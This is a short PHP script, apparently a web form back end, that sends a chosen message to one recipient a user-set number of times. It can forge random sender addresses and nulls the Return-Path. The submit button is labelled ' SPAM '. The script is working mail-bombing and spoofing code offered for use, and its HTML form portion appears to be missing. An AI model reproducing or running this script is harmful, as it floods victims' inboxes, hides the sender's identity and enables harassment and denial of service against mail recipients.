Requires an SMTP and Web server
function randomEmail()
{
// returns a random, spoofed e-mail address.
// pick two numbers, one in
// [6-10] range, one in [4-20] range, and a random domain.
// for each #, generate that many random letters/numbers, splice together.
$usernum = rand(3,10);
$domainnum = rand(4,10);
$userstr="";
$domainstr="";
for($u=0;$u<$usernum;$u++)
{
// random letter of alphabet.
$ranletter = chr( ord("a") + rand(0, 25) );
$userstr.=$ranletter;
}
for($d=0;$d<$domainnum;$d++)
{
// random letter of alphabet.
$ranletter = chr( ord("a") + rand(0, 25) );
$domainstr.=$ranletter;
}
$email = "$userstr@$domainstr.com";
return $email;
}
$action =$_POST["submit"];
if($action!=" SPAM ")
{
?>
}else
{
$to = $_POST["emailto"];
$from = $_POST["emailfrom"];
$reply = $_POST["emailreply"];
$subj = stripslashes($_POST["subject"]);
$msg = stripslashes($_POST["message"]);
$random = $_POST["random"];
$quantity = $_POST["emailquantity"];
$floodcontrol = $_POST["floodcontrol"];
if($to==""||$subj==""||$msg=="")
{
echo "You must fill out the Subject, Message, and Recipient.
";
}else
{
if(($from==""||$reply=="")&&$random!="ON")
{
echo "You must enter a sender and a reply-to address.
";
}else
{
set_time_limit(0);
// okay
$counter=0;
for($e=0;$e<$quantity;$e++)
{
if($random=="ON")
{
$r = randomEmail();
$from = $r;
$reply = $r;
}
// we're ready.
$headers = "";
$headers.="From: $from\r\n";
$headers.="Reply-To: $from\r\n";
$headers.="Return-Path: null\r\n";
$sentaway = @mail($to,$subj,$msg,$headers);
if($sentaway)
{
echo "Sent email #$e from $from to $to
";
}else
{
echo "Couldn't send email #$e
";
}
$counter++;
if($counter==10&&$floodcontrol)
{
echo "Wait 5 seconds...
";
$counter=0;
sleep(5);
}
}
set_time_limit(30);
}
}
}
?>